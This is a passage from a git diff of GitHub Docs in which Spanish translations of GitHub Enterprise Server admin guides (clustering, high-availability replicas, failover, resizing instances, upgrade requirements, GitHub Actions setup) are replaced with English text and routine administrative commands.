file](/enterprise/{{ currentVersion }}/admin/guides/clustering/initializing-the-cluster/#about-the-cluster-configuration-file)". -1. Desde el primer nodo que se configuró, ejecuta `ghe-cluster-config. init`. De esta manera, se inicializará la agrupación si existen nodos en el archivo de configuración de la agrupación que no están configurados. -2. Ejecuta `ghe-cluster-config-apply`. Esto validará el archivo `cluster.conf`, aplicará la configuración a cada archivo del nodo y traerá los servicios configurados en cada nodo. +1. From the first node that was configured, run `ghe-cluster-config-init`. This will initialize the cluster if there are nodes in the cluster configuration file that are not configured. +2. Run `ghe-cluster-config-apply`. This will validate the `cluster.conf` file, apply the configuration to each node file and bring up the configured services on each node. -Para comprobar el estado de una agrupación en funcionamiento, usa el comando `ghe-cluster-status`. +To check the status of a running cluster use the `ghe-cluster-status` command. -## Acerca del archivo de configuración de la agrupación +## About the cluster configuration file -El archivo de configuración de la agrupación (`cluster.conf`) define los nodos en la agrupación, y los servicios que ejecutan. Para obtener más información, consulta "[Acerca de los nodos de agrupación](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-cluster-nodes)". +The cluster configuration file (`cluster.conf`) defines the nodes in the cluster, and what services they run. +For more information, see "[About cluster nodes](/enterprise/{{ currentVersion }}/admin/guides/clustering/about-cluster-nodes)." -Este ejemplo `cluster.conf` define una agrupación con cinco nodos. +This example `cluster.conf` defines a cluster with five nodes. - - Dos nodos (llamados `ghe-app-node-\*`) ejecutan los servicios `web-server` y `job-server` responsables de atender las solicitudes de los clientes. - - Tres nodos (llamados `ghe-data-node-\*`) ejecutan los servicios responsables del almacenamiento y la recuperación de los datos de {% data variables.product.prodname_ghe_server %}. + - Two nodes (called `ghe-app-node-\*`) run the `web-server` and `job-server` services responsible for responding to client requests. + - Three nodes (called `ghe-data-node-\*`) run the services responsible for storage and retrieval of {% data variables.product.prodname_ghe_server %} data. -Los nombres de los nodos pueden ser cualquier nombre de host válido que elijas. Los nombres son conjuntos de nombres de host de cada nodo y también se agregarán a `/etc/hosts` en cada nodo, de manera que los nodos puedan ser resolubles localmente entre sí. +The names of the nodes can be any valid hostname you choose. The names are set as the hostname of each node, and will also be added to `/etc/hosts` on each node, so that the nodes are locally resolvable to each other. -Especifica el primer nodo de clùster que configuraste como el primario de MySQL a travès de `mysql-server` y de `mysql-master`. +Specify the first cluster node you configured as the MySQL primary via `mysql-server` and `mysql-master`. ```ini [cluster] @@ -111,7 +111,7 @@ Especifica el primer nodo de clùster que configuraste como el primario de MySQL storage-server = true ``` -Crea el archivo `/data/user/common/cluster.conf` en el primer nodo configurado. Por ejemplo, usando `vim`: +Create the file `/data/user/common/cluster.conf` on the configured first node. For example, using `vim`: ```shell ghe-data-node-1:~$ sudo vim /data/user/common/cluster.conf diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md index c5ad5e0895..60b1d3bbae 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md @@ -186,3 +186,4 @@ The `ghe-repl-teardown` command disables replication mode completely, removing t ## Further reading - "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)" +- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)" \ No newline at end of file diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md index e2c8c3a9ef..31d4dbeb3f 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md @@ -19,15 +19,16 @@ shortTitle: Create HA replica ## Creating a high availability replica 1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance). -2. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. +1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)." +1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license. {% data reusables.enterprise_installation.replica-steps %} -6. Connect to the replica appliance's IP address using SSH. +1. Connect to the replica appliance's IP address using SSH. ```shell $ ssh -p 122 admin@REPLICA IP ``` {% data reusables.enterprise_installation.generate-replication-key-pair %} {% data reusables.enterprise_installation.add-ssh-key-to-primary %} -9. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. +1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again. ```shell $ ghe-repl-setup PRIMARY IP ``` diff --git a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md index dc7befabbe..a76bdee366 100644 --- a/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md +++ b/translations/es-ES/content/admin/enterprise-management/configuring-high-availability/initiating-a-failover-to-your-replica-appliance.md @@ -1,6 +1,6 @@ --- -title: Iniciar una tolerancia de fallos a tu aparato de réplica -intro: 'Puedes tener tolerancia de fallos en un aparato de réplica {% data variables.product.prodname_ghe_server %} por medio de la línea de comando para mantenimiento y pruebas, o si falla el aparato principal.' +title: Initiating a failover to your replica appliance +intro: 'You can failover to a {% data variables.product.prodname_ghe_server %} replica appliance using the command line for maintenance and testing, or if the primary appliance fails.' redirect_from: - /enterprise/admin/installation/initiating-a-failover-to-your-replica-appliance - /enterprise/admin/enterprise-management/initiating-a-failover-to-your-replica-appliance @@ -12,48 +12,47 @@ topics: - Enterprise - High availability - Infrastructure -shortTitle: Iniciar la recuperación de fallos para el aplicativo +shortTitle: Initiate failover to appliance --- - -El tiempo requerido para la tolerancia de fallos depende de cuánto le tome para impulsar la réplica y redireccionar el tráfico de forma manual. El tiempo promedio varía entre 2 y 10 minutos. +The time required to failover depends on how long it takes to manually promote the replica and redirect traffic. The average time ranges between 2-10 minutes. {% data reusables.enterprise_installation.promoting-a-replica %} -1. Para permitir que la replicación finalice antes de cambiar aparatos, pon el aparato principal en modo mantenimiento: - - Para usar el administrador de consola, consulta "[Habilitar y programar el modo mantenimiento](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)" - - También puedes usar el comando `ghe-maintenance -s`. +1. To allow replication to finish before you switch appliances, put the primary appliance into maintenance mode: + - To use the management console, see "[Enabling and scheduling maintenance mode](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)" + - You can also use the `ghe-maintenance -s` command. ```shell $ ghe-maintenance -s ``` -2. When the number of active Git operations, MySQL queries, and Resque jobs reaches zero, wait 30 seconds. +2. When the number of active Git operations, MySQL queries, and Resque jobs reaches zero, wait 30 seconds. {% note %} **Note:** Nomad will always have jobs running, even in maintenance mode, so you can safely ignore these jobs. - + {% endnote %} -3. Para verificar que todos los canales de replicación informan `OK`, utiliza el comando `ghe-repl-status -vv`. +3. To verify all replication channels report `OK`, use the `ghe-repl-status -vv` command. ```shell $ ghe-repl-status -vv ``` -4. Para frenar la replicación e impulsar el aparato de réplica a un estado primario, utiliza el comando `ghe-repl-promote`. Esto también pondrá de forma automática al nodo primario en nodo mantenimiento si es accesible. +4. To stop replication and promote the replica appliance to primary status, use the `ghe-repl-promote` command. This will also automatically put the primary node in maintenance node if it’s reachable. ```shell $ ghe-repl-promote ``` -5. Actualiza el registro de DNS para que apunte a la dirección IP de la réplica. El tráfico es direccionado a la réplica después de que transcurra el período TTL. Si estás utilizando un balanceador de carga, asegúrate de que esté configurado para enviar el tráfico a la réplica. -6. Notifica a los usuarios que pueden retomar las operaciones normales. -7. Si se desea, configura una replicación desde el aparato principal nuevo al aparato existente y el principal anterior. Para obtener más información, consulta "[Acerca de la configuración de alta disponibilidad](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)." -8. Los aplicativos en los que no pretendas configurar la replicación que eran parte de la configuración de disponibilidad alta antes de la recuperación del fallo deberán eliminarse de dicha configuración de disponibilidad alta a través de UUID. - - Para los aplicativos anteriores, obtén su UUID a través de `cat /data/user/common/uuid`. +5. Update the DNS record to point to the IP address of the replica. Traffic is directed to the replica after the TTL period elapses. If you are using a load balancer, ensure it is configured to send traffic to the replica. +6. Notify users that they can resume normal operations. +7. If desired, set up replication from the new primary to existing appliances and the previous primary. For more information, see "[About high availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)." +8. Appliances you do not intend to setup replication to that were part of the high availability configuration prior the failover, need to be removed from the high availability configuration by UUID. + - On the former appliances, get their UUID via `cat /data/user/common/uuid`. ```shell $ cat /data/user/common/uuid ``` - - En el primario nuevo, elimina las UUID utilizando `ghe-repl-teardown`. Por favor, reemplaza *`UUID`* con aquella UUID que recuperaste en el paso anterior. + - On the new primary, remove the UUIDs using `ghe-repl-teardown`. Please replace *`UUID`* with a UUID you retrieved in the previous step. ```shell $ ghe-repl-teardown -u UUID ``` -## Leer más +## Further reading -- "[Utilidades para la gestión de replicaciones](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" +- "[Utilities for replication management](/enterprise/{{ currentVersion }}/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management)" diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md index 4b54cc1466..c6425f3a22 100644 --- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md +++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/increasing-cpu-or-memory-resources.md @@ -1,6 +1,6 @@ --- -title: Aumentar el CPU o los recursos de memoria -intro: 'Si las operaciones en {% data variables.product.product_location_enterprise %} son lentas, es posible que necesites agregar CPU o recursos de memoria.' +title: Increasing CPU or memory resources +intro: 'You can increase the CPU or memory resources for a {% data variables.product.prodname_ghe_server %} instance.' redirect_from: - /enterprise/admin/installation/increasing-cpu-or-memory-resources - /enterprise/admin/enterprise-management/increasing-cpu-or-memory-resources @@ -12,64 +12,64 @@ topics: - Enterprise - Infrastructure - Performance -shortTitle: Incrementar el CPU o la memoria +shortTitle: Increase CPU or memory --- - {% data reusables.enterprise_installation.warning-on-upgrading-physical-resources %} -## Agregar CPU o recursos de memoria para AWS +## Adding CPU or memory resources for AWS {% note %} -**Nota:** Para agregar CPU o recursos de memoria para AWS, debes estar familiarizado con el uso de la consola de administración de AWS o la interfaz de la línea de comando `aws ec2` para administrar instancias EC2. Para obtener antecedentes y detalles sobre el uso de herramientas de AWS de tu elección para realizar el ajuste de tamaño, consulta la documentación de AWS en [ajustar el tamaño de una instancia respaldada por Amazon EBS](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). +**Note:** To add CPU or memory resources for AWS, you must be familiar with using either the AWS management console or the `aws ec2` command line interface to manage EC2 instances. For background and details on using the AWS tools of your choice to perform the resize, see the AWS documentation on [resizing an Amazon EBS-backed instance](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-resize.html). {% endnote %} -### Consideraciones relativas al ajuste de tamaño +### Resizing considerations -Antes de aumentar la CPU o los recursos de memoria para {% data variables.product.product_location %}: +Before increasing CPU or memory resources for {% data variables.product.product_location %}, review the following recommendations. -- **Escala tu memoria con los CPU**. {% data reusables.enterprise_installation.increasing-cpus-req %} -- **Asigna una dirección IP elástica a la instancia**. Si no se asigna una IP elástica, deberás ajustar los registros DNS A para tu servidor {% data variables.product.prodname_ghe_server %} después de volver a iniciar para considerar el cambio de la dirección de IP pública. Una vez que tu instancia se reinicia, la IP elástica (EIP) se mantiene automáticamente si la instancia se inicia en una VPC. Si la instancia se inicia en una EC2-Classic, la IP elástica debe asociarse nuevamente de forma manual. +- **Scale your memory with CPUs**. {% data reusables.enterprise_installation.increasing-cpus-req %} +- **Assign an Elastic IP address to the instance**. If you haven't assigned an Elastic IP to your instance, you'll have to adjust the DNS A records for your {% data variables.product.prodname_ghe_server %} host after the restart to account for the change in public IP address. Once your instance restarts, the instance keeps the Elastic IP if you launched the instance in a virtual private cloud (VPC). If you create the instance in an EC2-Classic network, you must manually reassign the Elastic IP to the instance. -### Tipos de instancias AWS admitidos +### Supported AWS instance types -Debes determinar el tipo de instancia que te gustaría actualizar en base a especificaciones de CPU/memoria. +You need to determine the instance type you would like to upgrade to based on CPU/memory specifications. {% data reusables.enterprise_installation.warning-on-scaling %} {% data reusables.enterprise_installation.aws-instance-recommendation %} -### Volver a ajustar el tamaño para AWS +### Resizing for AWS {% note %} -**Nota:** Para instancias iniciadas en EC2-Classic, escribe la dirección de IP elástica asociada con la instancia y las ID de las instancias. Una vez que reiniciaste la instancia, vuelve a asociar la dirección de IP elástica. +**Note:** For instances launched in EC2-Classic, write down both the Elastic IP address associated with the instance and the instance's ID. Once you restart the instance, re-associate the Elastic IP address. {% endnote %} -Si no es posible agregar un CPU o recursos de memoria a una instancia AWS/EC2 existente. En su lugar, debes: +It's not possible to add CPU or memory resources to an existing AWS/EC2 instance. Instead, you must: -1. Frenar la instancia. -2. Cambiar el tipo de instancia. -3. Iniciar la instancia. +1. Stop the instance. +2. Change the instance type. +3. Start the instance. {% data reusables.enterprise_installation.configuration-recognized %} -## Agregar CPU o recursos de memoria para OpenStack KVM +## Adding CPU or memory resources for OpenStack KVM -No es posible agregar CPU o recursos de memoria para una instancia OpenStack KVM existente. En su lugar, debes: +It's not possible to add CPU or memory resources to an existing OpenStack KVM instance. Instead, you must: -1. Tomar una instantánea para la instancia actual. -2. Frenar la instancia. -3. Seleccionar un nuevo formato de la instancia que tenga el CPU o los recursos de memoria deseados. +1. Take a snapshot of the current instance. +2. Stop the instance. +3. Select a new instance flavor that has the desired CPU and/or memory resources. -## Agregar recursos de memoria o de CPU para VMware +## Adding CPU or memory resources for VMware {% data reusables.enterprise_installation.increasing-cpus-req %} -1. Utiliza vSphere Client para conectar al servidor de VMware ESXi. -2. Cierra {% data variables.product.product_location %}. -3. Selecciona la máquina virtual y haz clic en **Edit Settings (Editar parámetros)**. -4. En "Hardware", ajusta el CPU o los recursos de memoria asignados a la máquina virtual según se necesite: ![Recursos de configuración de WMware](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) -5. Para iniciar la máquina virtual, haz clic en **OK**. +1. Use the vSphere Client to connect to the VMware ESXi host. +2. Shut down {% data variables.product.product_location %}. +3. Select the virtual machine and click **Edit Settings**. +4. Under "Hardware", adjust the CPU and/or memory resources allocated to the virtual machine as needed: +![VMware setup resources](/assets/images/enterprise/vmware/vsphere-hardware-tab.png) +5. To start the virtual machine, click **OK**. {% data reusables.enterprise_installation.configuration-recognized %} diff --git a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md index 79cf65b297..829cdf411e 100644 --- a/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md +++ b/translations/es-ES/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrade-requirements.md @@ -1,6 +1,6 @@ --- -title: Requisitos de actualización -intro: 'Antes de actualizar el {% data variables.product.prodname_ghe_server %}, revisa estas recomendaciones y requisitos para planificar tu estrategia de actualización.' +title: Upgrade requirements +intro: 'Before upgrading {% data variables.product.prodname_ghe_server %}, review these recommendations and requirements to plan your upgrade strategy.' redirect_from: - /enterprise/admin/installation/upgrade-requirements - /enterprise/admin/guides/installation/finding-the-current-github-enterprise-release/ @@ -13,39 +13,37 @@ topics: - Enterprise - Upgrades --- - {% note %} -**Notas:** -- Para actualizar desde {% data variables.product.prodname_enterprise %} 11.10.348 a {% data variables.product.current-340-version %}, debes primero migrar a {% data variables.product.prodname_enterprise %} 2.1.23. Para obtener más información, consulta "[Migrar desde {% data variables.product.prodname_enterprise %} 11.10.x a 2.1.23](/enterprise/{{ currentVersion }}/admin/guides/installation/migrating-from-github-enterprise-11-10-x-to-2-1-23)." -- Los paquetes de actualización están disponibles en [enterprise.github.com](https://enterprise.github.com/releases) para las versiones admitidas. Verifica la disponibilidad de los paquetes de actualización, deberás completar la actualización. Si un paquete no está disponible, contacta a {% data variables.contact.contact_ent_support %} para obtener ayuda. -- Si estás usando una Agrupación del {% data variables.product.prodname_ghe_server %}, consulta "[Actualizar una agrupación](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" en la Guía de Agrupación del {% data variables.product.prodname_ghe_server %} para obtener instrucciones específicas únicas para agrupaciones. -- Estas notas de lanzamiento para el {% data variables.product.prodname_ghe_server %} brindan una lista detallada de las nuevas características de cada versión del {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta las [páginas de lanzamiento](https://enterprise.github.com/releases). +**Notes:** +- Upgrade packages are available at [enterprise.github.com](https://enterprise.github.com/releases) for supported versions. Verify the availability of the upgrade packages you will need to complete the upgrade. If a package is not available, contact {% data variables.contact.contact_ent_support %} for assistance. +- If you're using {% data variables.product.prodname_ghe_server %} Clustering, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/guides/clustering/upgrading-a-cluster/)" in the {% data variables.product.prodname_ghe_server %} Clustering Guide for specific instructions unique to clustering. +- The release notes for {% data variables.product.prodname_ghe_server %} provide a comprehensive list of new features for every version of {% data variables.product.prodname_ghe_server %}. For more information, see the [releases page](https://enterprise.github.com/releases). {% endnote %} -## Recomendaciones +## Recommendations -- Incluye tantas nuevas actualizaciones como sea posible en tu proceso de actualización. Por ejemplo, en lugar de actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.supported[1] }} a {{ enterpriseServerReleases.latest }}, podrías actualizar desde {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} a {{ enterpriseServerReleases.latest }}. -- Si estás varias versiones desactualizado, actualiza {% data variables.product.product_location %} tanto como sea posible con cada paso de tu proceso de actualización. Utilizar la versión más reciente posible en cada actualización te permite aprovechar las mejoras de desempeño y las correcciones de errores. Por ejemplo, podrías actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.8 a 2.10, pero actualizar desde {% data variables.product.prodname_enterprise %} 2.7 a 2.9 a 2.10 utiliza una versión posterior en el segundo paso. -- Utiliza el lanzamiento de patch más reciente cuando actualices. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} -- Utiliza una instancia de preparación para probar los pasos de actualización. Para obtener más información, consulta "[Configurar una instancia de preparación](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." -- Cuando ejecutas varias mejoras, espera por lo menos 24 horas entre las mejoras a las características para permitir que se completen totalmente las migraciones de datos y actualizaciones de las tareas que se ejecutan en segundo plano. +- Include as few upgrades as possible in your upgrade process. For example, instead of upgrading from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.supported[1] }} to {{ enterpriseServerReleases.latest }}, you could upgrade from {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[2] }} to {{ enterpriseServerReleases.latest }}. +- If you’re several versions behind, upgrade {% data variables.product.product_location %} as far forward as possible with each step of your upgrade process. Using the latest version possible on each upgrade allows you to take advantage of performance improvements and bug fixes. For example, you could upgrade from {% data variables.product.prodname_enterprise %} 2.7 to 2.8 to 2.10, but upgrading from {% data variables.product.prodname_enterprise %} 2.7 to 2.9 to 2.10 uses a later version in the second step. +- Use the latest patch release when upgrading. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} +- Use a staging instance to test the upgrade steps. For more information, see "[Setting up a staging instance](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-staging-instance/)." +- When running multiple upgrades, wait at least 24 hours between feature upgrades to allow data migrations and upgrade tasks running in the background to fully complete. -## Requisitos +## Requirements -- Debes actualizar desde una característica de lanzamiento que sea **como máximo** dos lanzamientos anteriores. Por ejemplo, para actualizar a {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, debes estar en {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} o {{ enterpriseServerReleases.supported[2] }}. +- You must upgrade from a feature release that's **at most** two releases behind. For example, to upgrade to {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.latest }}, you must be on {% data variables.product.prodname_enterprise %} {{ enterpriseServerReleases.supported[1] }} or {{ enterpriseServerReleases.supported[2] }}. - {% data reusables.enterprise_installation.hotpatching-explanation %} -- Es posible que un hotpatch requiera tiempo de inactividad si los servicios afectados (como kernel, MySQL, o Elasticsearch) requieren un reinicio de VM o un reinicio del servicio. Se te notificará cuando se necesite reiniciar. Puedes completar el reinicio más tarde. -- Es necesario que haya un almacenamiento raíz adicional disponible cuando se actualiza a través de un hotpatch, ya que instala múltiples versiones de determinados servicios hasta que se completa la actualización. El control de prevuelo te notificará si no tienes suficiente almacenamiento de disco raíz. -- Cuando se actualiza a través de un hotpatch, tu instancia no puede estar muy cargada, ya que puede impactar el proceso del hotpatch. Los controles de pre-vuelo considerarán la carga promedio y, posteriormente, la mejora fallará si dicha carga promedio es demasiado alta. - Mejorar a {% data variables.product.prodname_ghe_server %} 2.17 migrará sus registros de auditoría de Elasicsearch a MySQL. Esta migración también incrementa la cantidad de tiempo y el espacio en disco que lleva restaurar una instantánea. Antes de migrar, controla el número de bytes en tus índices de registro de auditoría de ElasticSearch con este comando: +- A hotpatch may require downtime if the affected services (like kernel, MySQL, or Elasticsearch) require a VM reboot or a service restart. You'll be notified when a reboot or restart is required. You can complete the reboot or restart at a later time. +- Additional root storage must be available when upgrading through hotpatching, as it installs multiple versions of certain services until the upgrade is complete. Pre-flight checks will notify you if you don't have enough root disk storage. +- When upgrading through hotpatching, your instance cannot be too heavily loaded, as it may impact the hotpatching process. Pre-flight checks will consider the load average and the upgrade will fail if the load average is too high.- Upgrading to {% data variables.product.prodname_ghe_server %} 2.17 migrates your audit logs from Elasticsearch to MySQL. This migration also increases the amount of time and disk space it takes to restore a snapshot. Before migrating, check the number of bytes in your Elasticsearch audit log indices with this command: ``` shell curl -s http://localhost:9201/audit_log/_stats/store | jq ._all.primaries.store.size_in_bytes ``` -Utiliza el número para estimar la cantidad de espacio de disco que los registros de auditoría de MySQL necesitarán. El script también controla tu espacio libre en disco mientras la importación está en progreso. Controlar este número es especialmente útil si tu espacio libre en disco está cerca de la cantidad de espacio en disco necesaria para la migración. +Use the number to estimate the amount of disk space the MySQL audit logs will need. The script also monitors your free disk space while the import is in progress. Monitoring this number is especially useful if your free disk space is close to the amount of disk space necessary for migration. {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## Pasos siguientes +## Next steps -Después de revisar estas recomendaciones y requisitos, puedes actualizar el {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Actualizar {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." +After reviewing these recommendations and requirements, you can upgrade {% data variables.product.prodname_ghe_server %}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrading-github-enterprise-server/)." diff --git a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md index 9e5097278e..5ebd02f920 100644 --- a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md +++ b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/setting-up-dependabot-updates.md @@ -37,7 +37,7 @@ Both types of {% data variables.product.prodname_dependabot %} update have the f - Configure {% data variables.product.product_location %} to use {% data variables.product.prodname_actions %}. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for GitHub Enterprise Server](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." - Set up one or more {% data variables.product.prodname_actions %} self-hosted runners for {% data variables.product.prodname_dependabot %}. For more information, see "[Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates](#setting-up-self-hosted-runners-for-dependabot-updates)" below. -Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot %} alerts on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." +Additionally, {% data variables.product.prodname_dependabot_security_updates %} rely on the dependency graph, vulnerability data from {% data variables.product.prodname_github_connect %}, and {% data variables.product.prodname_dependabot_alerts %}. These features must be enabled on {% data variables.product.product_location %}. For more information, see "[Enabling the dependency graph and {% data variables.product.prodname_dependabot_alerts %} on your enterprise account](/admin/configuration/managing-connections-between-your-enterprise-accounts/enabling-the-dependency-graph-and-dependabot-alerts-on-your-enterprise-account)." ## Setting up self-hosted runners for {% data variables.product.prodname_dependabot %} updates diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md new file mode 100644 index 0000000000..6b94aa303c --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-ae.md @@ -0,0 +1,43 @@ +--- +title: Getting started with GitHub Actions for GitHub AE +shortTitle: Get started +intro: 'Learn about configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %}.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +versions: + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +redirect_from: + - /admin/github-actions/getting-started-with-github-actions-for-github-ae + - /admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae +--- + +{% data reusables.actions.ae-beta %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_managed %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_managed %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is enabled for {% data variables.product.prodname_ghe_managed %} by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you need to manage access permissions for {% data variables.product.prodname_actions %} and add runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +{% note %} + +**Note:** To add {% data variables.actions.hosted_runner %}s to {% data variables.product.prodname_ghe_managed %}, you will need to contact {% data variables.product.prodname_dotcom %} support. + +{% endnote %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add runners. You can add runners at the enterprise, organization, or repository levels. For more information, see "[About {% data variables.actions.hosted_runner %}s](/actions/using-github-hosted-runners/about-ae-hosted-runners)." + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md new file mode 100644 index 0000000000..8680be8654 --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-cloud.md @@ -0,0 +1,34 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Cloud +shortTitle: Get started +intro: 'Learn how to configure {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %}.' +permissions: 'Enterprise owners can configure {% data variables.product.prodname_actions %}.' +versions: + ghec: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_cloud %} + +{% data variables.product.prodname_actions %} is enabled for your enterprise by default. To get started using {% data variables.product.prodname_actions %} within your enterprise, you can manage the policies that control how enterprise members use {% data variables.product.prodname_actions %} and optionally add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Managing policies for {% data variables.product.prodname_actions %} + +You can use policies to control how enterprise members use {% data variables.product.prodname_actions %}. For example, you can restrict which actions are allowed and configure artifact and log retention. For more information, see "[Enforcing GitHub Actions policies for 